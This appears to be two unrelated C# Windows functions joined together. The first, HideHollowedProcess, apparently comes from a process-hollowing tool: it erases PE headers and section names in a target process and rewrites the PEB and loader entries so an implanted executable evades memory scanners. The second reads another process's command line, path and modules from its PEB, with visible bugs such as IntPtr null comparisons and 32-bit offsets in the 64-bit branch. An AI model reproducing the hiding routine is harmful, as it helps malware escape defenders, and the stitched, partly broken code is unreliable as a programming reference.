static void HideHollowedProcess(IntPtr hProcess, HostProcessInfo hpi) { if (IntPtr.Size == 4) { Console.WriteLine("[=] Hide allow process not available on x86 yet, use --disable-header-patch to supress this warning"); return; } //Pull out the current image headers IMAGE_DOS_HEADER dosHeader = ReadType <IMAGE_DOS_HEADER>(hProcess, hpi.newLoadAddress); IMAGE_FILE_HEADER fileHeader = ReadType <IMAGE_FILE_HEADER>(hProcess, new IntPtr(hpi.newLoadAddress.ToInt64() + dosHeader.e_lfanew)); IMAGE_OPTIONAL_HEADER64 optionalHeader = ReadType <IMAGE_OPTIONAL_HEADER64>(hProcess, new IntPtr(hpi.newLoadAddress.ToInt64() + dosHeader.e_lfanew + Marshal.SizeOf(typeof(IMAGE_FILE_HEADER)))); //Clear some key areas used to spot PE files in memory ClearMemory(hProcess, hpi.newLoadAddress, 3); ClearMemory(hProcess, new IntPtr(hpi.newLoadAddress.ToInt64() + 0x40), (int)dosHeader.e_lfanew - 0x40); ClearMemory(hProcess, new IntPtr(hpi.newLoadAddress.ToInt64() + (int)dosHeader.e_lfanew), Marshal.SizeOf(typeof(IMAGE_FILE_HEADER))); //Clear out section names and characteristics used to identify implanted PE files for (int section = 0; section < fileHeader.NumberOfSections; section++) { IntPtr sectionOffset = new IntPtr(hpi.newLoadAddress.ToInt64() + (int)dosHeader.e_lfanew + Marshal.SizeOf(typeof(IMAGE_FILE_HEADER)) + fileHeader.SizeOfOptionalHeader + (Marshal.SizeOf(typeof(Execute.PE.IMAGE_SECTION_HEADER)) * section)); Execute.PE.IMAGE_SECTION_HEADER ish = ReadType <Execute.PE.IMAGE_SECTION_HEADER>(hProcess, sectionOffset); ish.Name = new char[8]; ish.Characteristics = 0; WriteType <Execute.PE.IMAGE_SECTION_HEADER>(hProcess, sectionOffset, ish); } //Replace base address in PEB with the original WritePointer(hProcess, new IntPtr(hpi.peb.ToInt64() + 0x10), hpi.previousLoadAddress); //Finally replace main module load address and entrypoint with original host process IntPtr pebLdrDataPtr = ReadPointer(hProcess, new IntPtr(hpi.peb.ToInt64() + 0x18)); PEB_LDR_DATA pebLdrData = ReadType <PEB_LDR_DATA>(hProcess, pebLdrDataPtr); LDR_DATA_TABLE_ENTRY mainModule = ReadType <LDR_DATA_TABLE_ENTRY>(hProcess, pebLdrData.InLoadOrderModuleListPtr.Flink); mainModule.DllBase = hpi.previousLoadAddress; mainModule.EntryPoint = hpi.previousEntryPoint; WriteType(hProcess, pebLdrData.InLoadOrderModuleListPtr.Flink, mainModule); }
private static string GetProcessParametersString(int processId, PEB_OFFSET Offset, RunningProcess pre) { IntPtr handle = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, false, processId); if (handle == IntPtr.Zero) { return(null); } ///////////////////// Get the username associated with the process /////////////////// string username = LookupAccountName.GetProcessUser(handle, pre); if (username != null) { pre.UserName = username; } ///////////////////////////////////////////////////////////////////////////////////// /////////////////// Get Working Set Counters /////////////////////////////////////// PROCESS_MEMORY_COUNTERS memoryCounters; memoryCounters.cb = (uint)Marshal.SizeOf(typeof(PROCESS_MEMORY_COUNTERS)); if (GetProcessMemoryInfo(handle, out memoryCounters, memoryCounters.cb)) { pre.WorkingSet = (int)memoryCounters.WorkingSetSize; //pre.workingsetstr = pre.workingset.ToString("#,##0") + " " + "Bytes"; } //////////////////////////////////////////////////////////////////////////////////// FILETIME lpCreationTime = new FILETIME(); FILETIME lpUserTime = new FILETIME(); FILETIME lpKernelTime = new FILETIME(); FILETIME lpExitTime = new FILETIME(); bool retval = GetProcessTimes(handle, out lpCreationTime, out lpExitTime, out lpKernelTime, out lpUserTime); if (retval == true) { string sc = ConvertTimeToString(lpCreationTime.DateTimeHigh, lpCreationTime.DateTimeLow, true); pre.StartTime = DateTime.Parse(sc); string kr = ConvertTimeToString(lpKernelTime.DateTimeHigh, lpKernelTime.DateTimeLow, false); pre.KernalTime = kr; string ut = ConvertTimeToString(lpUserTime.DateTimeHigh, lpUserTime.DateTimeLow, false); pre.UserTime = ut; } bool IsWow64Process = PlatformCheck.InternalCheckIsWow64(); bool IsTargetWow64Process = PlatformCheck.GetProcessIsWow64(handle); bool IsTarget64BitProcess = Is64BitOperatingSystem && !IsTargetWow64Process; pre.IsWow64 = IsTargetWow64Process; long offset = 0; long processParametersOffset = IsTarget64BitProcess ? 0x20 : 0x10; long offsetldr = 0x0c; switch (Offset) { case PEB_OFFSET.CurrentDirectory: offset = IsTarget64BitProcess ? 0x38 : 0x24; break; case PEB_OFFSET.CommandLine: offset = Is64BitOperatingSystem ? 0x70 : 0x40; if (offset == 0x70 && IsTargetWow64Process) { offset = 0x40; } break; default: return(null); } try { long pebAddress = 0; if (IsTargetWow64Process) // OS : 64Bit, Cur : 32 or 64, Tar: 32bit { IntPtr peb32 = new IntPtr(); int hr = NtQueryInformationProcess(handle, (int)PROCESSINFOCLASS.ProcessWow64Information, ref peb32, IntPtr.Size, IntPtr.Zero); if (hr != 0) { return(null); } pebAddress = peb32.ToInt64(); IntPtr pp = new IntPtr(); if (!ReadProcessMemory(handle, new IntPtr(pebAddress + processParametersOffset), ref pp, new IntPtr(Marshal.SizeOf(pp)), IntPtr.Zero)) { return(null); } UNICODE_STRING_32 us = new UNICODE_STRING_32(); if (!ReadProcessMemory(handle, new IntPtr(pp.ToInt64() + offset), ref us, new IntPtr(Marshal.SizeOf(us)), IntPtr.Zero)) { return(null); } if ((us.Buffer == 0) || (us.Length == 0)) { return(null); } string s = new string('\0', us.Length / 2); if (!ReadProcessMemory(handle, new IntPtr(us.Buffer), s, new IntPtr(us.Length), IntPtr.Zero)) { return(null); } UNICODE_STRING_32 us2 = new UNICODE_STRING_32(); if (!ReadProcessMemory(handle, new IntPtr(pp.ToInt64() + offset - 8), ref us2, new IntPtr(Marshal.SizeOf(us2)), IntPtr.Zero)) { return(null); } if ((us2.Buffer == 0) || (us2.Length == 0)) { return(null); } string s2 = new string('\0', us2.Length / 2); if (!ReadProcessMemory(handle, new IntPtr(us2.Buffer), s2, new IntPtr(us2.Length), IntPtr.Zero)) { return(null); } pre.Arguments = s; pre.Path = s2; //////////// Read Loader //////// PEB_LDR_DATA ldr1 = new PEB_LDR_DATA(); IntPtr ldrp = StructToPtr(ldr1); if (!ReadProcessMemory(handle, new IntPtr(pebAddress + 0x0c), ref ldrp, new IntPtr(Marshal.SizeOf(ldr1)), IntPtr.Zero)) { return(null); } /// We have long ldraddress = ldrp.ToInt64(); IntPtr le1 = new IntPtr(ldraddress + 0x0c); if (!ReadProcessMemory(handle, new IntPtr(ldraddress + 0xc), ref le1, new IntPtr(Marshal.SizeOf(le1)), IntPtr.Zero)) { return(null); } while (le1 != null) { UNICODE_STRING_32 us3 = new UNICODE_STRING_32(); if (!ReadProcessMemory(handle, new IntPtr(le1.ToInt64() + 0x24), ref us3, new IntPtr(Marshal.SizeOf(us3)), IntPtr.Zero)) { return(null); } if ((us3.Buffer == 0) || (us3.Length == 0)) { return(null); } string s3 = new string('\0', us3.Length / 2); if (!ReadProcessMemory(handle, new IntPtr(us3.Buffer), s3, new IntPtr(us3.Length), IntPtr.Zero)) { return(null); } long nextlist = le1.ToInt64(); IntPtr nextlistp = new IntPtr(nextlist); if (!ReadProcessMemory(handle, nextlistp, ref le1, new IntPtr(Marshal.SizeOf(le1)), IntPtr.Zero)) { return(null); } LoadedModule pme = new LoadedModule(); pme.ModulePath = s3; pre.ListProcessModule.Add(pme); } return(s); } else if (IsWow64Process)//Os : 64Bit, Cur 32, Tar 64 { PROCESS_BASIC_INFORMATION_WOW64 pbi = new PROCESS_BASIC_INFORMATION_WOW64(); int hr = NtWow64QueryInformationProcess64(handle, (int)PROCESSINFOCLASS.ProcessBasicInformation, ref pbi, Marshal.SizeOf(pbi), IntPtr.Zero); if (hr != 0) { return(null); } pebAddress = pbi.PebBaseAddress; long pp = 0; hr = NtWow64ReadVirtualMemory64(handle, pebAddress + processParametersOffset, ref pp, Marshal.SizeOf(pp), IntPtr.Zero); if (hr != 0) { return(null); } UNICODE_STRING_WOW64 us = new UNICODE_STRING_WOW64(); hr = NtWow64ReadVirtualMemory64(handle, pp + offset, ref us, Marshal.SizeOf(us), IntPtr.Zero); if (hr != 0) { return(null); } if ((us.Buffer == 0) || (us.Length == 0)) { return(null); } string s = new string('\0', us.Length / 2); hr = NtWow64ReadVirtualMemory64(handle, us.Buffer, s, us.Length, IntPtr.Zero); if (hr != 0) { return(null); } if (pre != null) { pre.Arguments = s; } UNICODE_STRING_WOW64 us2 = new UNICODE_STRING_WOW64(); hr = NtWow64ReadVirtualMemory64(handle, pp + offset - Marshal.SizeOf(us2), ref us2, Marshal.SizeOf(us2), IntPtr.Zero); if (hr != 0) { return(null); } if ((us2.Buffer == 0) || (us2.Length == 0)) { return(null); } string s2 = new string('\0', us2.Length / 2); hr = NtWow64ReadVirtualMemory64(handle, us2.Buffer, s2, us2.Length, IntPtr.Zero); if (hr != 0) { return(null); } // Console.WriteLine("IM : " + s2); pre.Path = s2; /////////////////////For Testing if (s2 != null && ((s2.ToLower().Contains("taskmgr.exe") == false))) { //return s2; } //////////// Read Loader //////// long ldrp = 0; if (NtWow64ReadVirtualMemory64(handle, pebAddress + 0x18, ref ldrp, sizeof(long), IntPtr.Zero) != 0) { return(null); } /// We have long ldraddress = ldrp + 0x10; long le1 = 0; if (NtWow64ReadVirtualMemory64(handle, ldraddress, ref le1, sizeof(long), IntPtr.Zero) != 0) { return(null); } while (le1 != 0) { UNICODE_STRING_WOW64 us3 = new UNICODE_STRING_WOW64(); hr = NtWow64ReadVirtualMemory64(handle, le1 + 0x48, ref us3, Marshal.SizeOf(us3), IntPtr.Zero); if (hr != 0) { return(null); } if ((us3.Buffer == 0) || (us3.Length == 0)) { return(null); } string s3 = new string('\0', us3.Length / 2); hr = NtWow64ReadVirtualMemory64(handle, us3.Buffer, s3, us3.Length, IntPtr.Zero); if (hr != 0) { return(null); } long nextlist = le1; hr = NtWow64ReadVirtualMemory64(handle, nextlist, ref le1, sizeof(long), IntPtr.Zero); if (hr != 0) { return(null); } LoadedModule pme = new LoadedModule(); pme.ModulePath = s3; pre.ListProcessModule.Add(pme); } return(s); } else// Os,Cur,Tar : 64 or 32 { PROCESS_BASIC_INFORMATION pbi = new PROCESS_BASIC_INFORMATION(); int hr = NtQueryInformationProcess(handle, (int)PROCESSINFOCLASS.ProcessBasicInformation, ref pbi, Marshal.SizeOf(pbi), IntPtr.Zero); if (hr != 0) { return(null); } pebAddress = pbi.PebBaseAddress.ToInt64(); IntPtr pp = new IntPtr(); if (!ReadProcessMemory(handle, new IntPtr(pebAddress + processParametersOffset), ref pp, new IntPtr(Marshal.SizeOf(pp)), IntPtr.Zero)) { return(null); } UNICODE_STRING us = new UNICODE_STRING(); if (!ReadProcessMemory(handle, new IntPtr((long)pp + offset), ref us, new IntPtr(Marshal.SizeOf(us)), IntPtr.Zero)) { return(null); } if ((us.Buffer == IntPtr.Zero) || (us.Length == 0)) { return(null); } string s = new string('\0', us.Length / 2); if (!ReadProcessMemory(handle, us.Buffer, s, new IntPtr(us.Length), IntPtr.Zero)) { return(null); } UNICODE_STRING us2 = new UNICODE_STRING(); if (!ReadProcessMemory(handle, new IntPtr((long)pp + offset - Marshal.SizeOf(us2)), ref us2, new IntPtr(Marshal.SizeOf(us2)), IntPtr.Zero)) { return(null); } if ((us2.Buffer == IntPtr.Zero) || (us2.Length == 0)) { return(null); } string s2 = new string('\0', us2.Length / 2); if (!ReadProcessMemory(handle, us2.Buffer, s2, new IntPtr(us2.Length), IntPtr.Zero)) { return(null); } pre.Path = s2; pre.Arguments = s; //////////// Read Loader //////// PEB_LDR_DATA ldr1 = new PEB_LDR_DATA(); IntPtr ldrp = StructToPtr(ldr1); if (!ReadProcessMemory(handle, new IntPtr(pebAddress + 0x0c), ref ldrp, new IntPtr(Marshal.SizeOf(ldr1)), IntPtr.Zero)) { return(null); } /// We have long ldraddress = ldrp.ToInt64(); IntPtr le1 = new IntPtr(ldraddress + 0x0c); if (!ReadProcessMemory(handle, new IntPtr(ldraddress + 0xc), ref le1, new IntPtr(Marshal.SizeOf(le1)), IntPtr.Zero)) { return(null); } while (le1 != null) { UNICODE_STRING_32 us3 = new UNICODE_STRING_32(); if (!ReadProcessMemory(handle, new IntPtr(le1.ToInt64() + 0x24), ref us3, new IntPtr(Marshal.SizeOf(us3)), IntPtr.Zero)) { return(null); } if ((us3.Buffer == 0) || (us3.Length == 0)) { return(null); } string s3 = new string('\0', us3.Length / 2); if (!ReadProcessMemory(handle, new IntPtr(us3.Buffer), s3, new IntPtr(us3.Length), IntPtr.Zero)) { return(null); } long nextlist = le1.ToInt64(); IntPtr nextlistp = new IntPtr(nextlist); if (!ReadProcessMemory(handle, nextlistp, ref le1, new IntPtr(Marshal.SizeOf(le1)), IntPtr.Zero)) { return(null); } LoadedModule pme = new LoadedModule(); pme.ModulePath = s3; pre.ListProcessModule.Add(pme); } return(s); } } finally { CloseHandle(handle); } }